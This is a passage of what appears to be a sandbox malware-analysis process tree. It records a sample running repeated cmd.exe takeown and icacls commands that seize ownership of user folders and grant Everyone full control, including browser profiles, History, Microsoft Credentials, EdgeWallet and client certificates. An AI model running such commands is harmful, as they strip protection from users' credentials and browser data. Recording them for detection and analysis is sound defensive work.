  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules /grant everyone:(f)
  2⤵
  PID:1752
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Subresource Filter\Unindexed Rules
    3⤵
    - Possible privilege escalation attempt
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64 && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64 /grant everyone:(f)
  2⤵
  PID:3708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ThirdPartyModuleList64
    3⤵
    PID:4596
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\TpcdMetadata && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\TpcdMetadata /grant everyone:(f)
  2⤵
  PID:3256
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\TpcdMetadata
    3⤵
    PID:3084
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments /grant everyone:(f)
  2⤵
  PID:3384
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\TrustTokenKeyCommitments
    3⤵
    PID:456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\WidevineCdm && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\WidevineCdm /grant everyone:(f)
  2⤵
  PID:1756
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\WidevineCdm
    3⤵
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ZxcvbnData && icacls C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ZxcvbnData /grant everyone:(f)
  2⤵
  PID:4452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Google\Chrome\User Data\ZxcvbnData
    3⤵
    PID:3868
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\History && icacls C:\Users\Admin\AppData\Local\History /grant everyone:(f)
  2⤵
  PID:4464
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\History
    3⤵
    PID:4940
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\History /grant everyone:(f)
    3⤵
    PID:532
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\History\History.IE5 && icacls C:\Users\Admin\AppData\Local\History\History.IE5 /grant everyone:(f)
  2⤵
  PID:3396
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\History\History.IE5
    3⤵
    PID:960
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\History\History.IE5 /grant everyone:(f)
    3⤵
    PID:3280
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\History\History.IE5\MSHist012024080220240803 && icacls C:\Users\Admin\AppData\Local\History\History.IE5\MSHist012024080220240803 /grant everyone:(f)
  2⤵
  PID:4992
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\History\History.IE5\MSHist012024080220240803
    3⤵
    PID:4104
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\History\History.IE5\MSHist012024080220240803 /grant everyone:(f)
    3⤵
    PID:4056
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\History\Low && icacls C:\Users\Admin\AppData\Local\History\Low /grant everyone:(f)
  2⤵
  PID:3996
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\History\Low
    3⤵
    PID:4912
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\History\Low /grant everyone:(f)
    3⤵
    PID:4632
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft && icacls C:\Users\Admin\AppData\Local\Microsoft /grant everyone:(f)
  2⤵
  PID:3036
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft
    3⤵
    PID:1068
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft /grant everyone:(f)
    3⤵
    PID:3444
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0 && icacls C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0 /grant everyone:(f)
  2⤵
  PID:2608
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0
    3⤵
    - Possible privilege escalation attempt
    PID:2916
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0 /grant everyone:(f)
    3⤵
    PID:3552
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs && icacls C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs /grant everyone:(f)
  2⤵
  PID:1652
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs
    3⤵
    PID:4068
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs /grant everyone:(f)
    3⤵
    PID:4024
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32 && icacls C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32 /grant everyone:(f)
  2⤵
  PID:3708
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32
    3⤵
    PID:3192
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32 /grant everyone:(f)
    3⤵
    PID:3256
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs && icacls C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs /grant everyone:(f)
  2⤵
  PID:4724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs
    3⤵
    - Possible privilege escalation attempt
    PID:4176
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs /grant everyone:(f)
    3⤵
    PID:4320
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Credentials && icacls C:\Users\Admin\AppData\Local\Microsoft\Credentials /grant everyone:(f)
  2⤵
  PID:2756
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Credentials
    3⤵
    PID:4388
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Credentials /grant everyone:(f)
    3⤵
    PID:4892
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge /grant everyone:(f)
  2⤵
  PID:4852
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge
    3⤵
    PID:4744
- - C:\Windows\system32\icacls.exe
    icacls C:\Users\Admin\AppData\Local\Microsoft\Edge /grant everyone:(f)
    3⤵
    - Possible privilege escalation attempt
    PID:4940
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data /grant everyone:(f)
  2⤵
  PID:3864
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data
    3⤵
    PID:4980
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill /grant everyone:(f)
  2⤵
  PID:3792
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Autofill
    3⤵
    PID:2040
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent /grant everyone:(f)
  2⤵
  PID:4044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\AutoLaunchProtocolsComponent
    3⤵
    PID:312
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics /grant everyone:(f)
  2⤵
  PID:4084
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\BrowserMetrics
    3⤵
    PID:4932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation /grant everyone:(f)
  2⤵
  PID:1672
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\CertificateRevocation
    3⤵
    PID:3696
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad /grant everyone:(f)
  2⤵
  PID:5028
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad
    3⤵
    PID:1200
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments /grant everyone:(f)
  2⤵
  PID:1020
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\attachments
    3⤵
    PID:4356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports /grant everyone:(f)
  2⤵
  PID:1364
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad\reports
    3⤵
    PID:184
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default /grant everyone:(f)
  2⤵
  PID:3656
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default
    3⤵
    PID:3472
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store /grant everyone:(f)
  2⤵
  PID:2392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store
    3⤵
    - Modifies file permissions
    PID:456
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db /grant everyone:(f)
  2⤵
  PID:3588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Asset Store\assets.db
    3⤵
    PID:4928
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase /grant everyone:(f)
  2⤵
  PID:408
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\AutofillStrikeDatabase
    3⤵
    PID:3144
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage /grant everyone:(f)
  2⤵
  PID:3088
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage
    3⤵
    PID:4548
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\87816cc1-fbf8-4025-8f2c-6594e8a80dd5 && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\87816cc1-fbf8-4025-8f2c-6594e8a80dd5 /grant everyone:(f)
  2⤵
  PID:4452
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\blob_storage\87816cc1-fbf8-4025-8f2c-6594e8a80dd5
    3⤵
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase /grant everyone:(f)
  2⤵
  PID:1840
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\BudgetDatabase
    3⤵
    PID:1376
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache /grant everyone:(f)
  2⤵
  PID:4308
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache
    3⤵
    PID:4992
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data /grant everyone:(f)
  2⤵
  PID:3860
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Cache\Cache_Data
    3⤵
    PID:2576
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ClientCertificates && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ClientCertificates /grant everyone:(f)
  2⤵
  PID:4484
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\ClientCertificates
    3⤵
    - Modifies file permissions
    PID:2920
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache /grant everyone:(f)
  2⤵
  PID:744
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache
    3⤵
    PID:2292
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js /grant everyone:(f)
  2⤵
  PID:3444
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js
    3⤵
    PID:4460
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir /grant everyone:(f)
  2⤵
  PID:2172
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\js\index-dir
    3⤵
    PID:2624
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm /grant everyone:(f)
  2⤵
  PID:4624
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm
    3⤵
    - Modifies file permissions
    PID:3712
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir /grant everyone:(f)
  2⤵
  PID:3952
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Code Cache\wasm\index-dir
    3⤵
    PID:644
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db /grant everyone:(f)
  2⤵
  PID:4392
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\commerce_subscription_db
    3⤵
    PID:1356
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache /grant everyone:(f)
  2⤵
  PID:1588
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnGraphiteCache
    3⤵
    PID:2812
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnWebGPUCache && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnWebGPUCache /grant everyone:(f)
  2⤵
  PID:1756
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DawnWebGPUCache
    3⤵
    PID:3220
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db /grant everyone:(f)
  2⤵
  PID:4116
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\discounts_db
    3⤵
    PID:4340
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service /grant everyone:(f)
  2⤵
  PID:536
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service
    3⤵
    PID:2304
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB /grant everyone:(f)
  2⤵
  PID:3864
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\EntryDB
    3⤵
    PID:4884
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files /grant everyone:(f)
  2⤵
  PID:3792
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Download Service\Files
    3⤵
    PID:3392
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine /grant everyone:(f)
  2⤵
  PID:4044
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\DualEngine
    3⤵
    PID:3116
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons /grant everyone:(f)
  2⤵
  PID:4360
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons
    3⤵
    PID:2028
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db /grant everyone:(f)
  2⤵
  PID:1672
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeCoupons\coupons_data.db
    3⤵
    PID:2640
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop /grant everyone:(f)
  2⤵
  PID:4704
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeEDrop
    3⤵
    PID:3972
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage /grant everyone:(f)
  2⤵
  PID:3580
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeHubAppUsage
    3⤵
    - Modifies file permissions
    PID:1652
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey /grant everyone:(f)
  2⤵
  PID:4944
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgePushStorageWithConnectTokenAndKey
    3⤵
    PID:4316
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeWallet && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeWallet /grant everyone:(f)
  2⤵
  PID:644
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EdgeWallet
    3⤵
    PID:3120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction /grant everyone:(f)
  2⤵
  PID:4724
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction
    3⤵
    PID:3288
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db /grant everyone:(f)
  2⤵
  PID:3800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\EntityExtraction\EntityExtractionAssetStore.db
    3⤵
    PID:2120
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules /grant everyone:(f)
  2⤵
  PID:1856
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Rules
    3⤵
    PID:3088
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts /grant everyone:(f)
  2⤵
  PID:4920
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension Scripts
    3⤵
    PID:932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State /grant everyone:(f)
  2⤵
  PID:4800
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extension State
    3⤵
    PID:3396
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions /grant everyone:(f)
  2⤵
  PID:2184
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions
    3⤵
    PID:4932
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi && icacls C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi /grant everyone:(f)
  2⤵
  PID:4288
- - C:\Windows\system32\takeown.exe
    takeown /f C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\ghbmnnjooekpmoecnnnilnnbdlolhkhi
    3⤵
    PID:4576
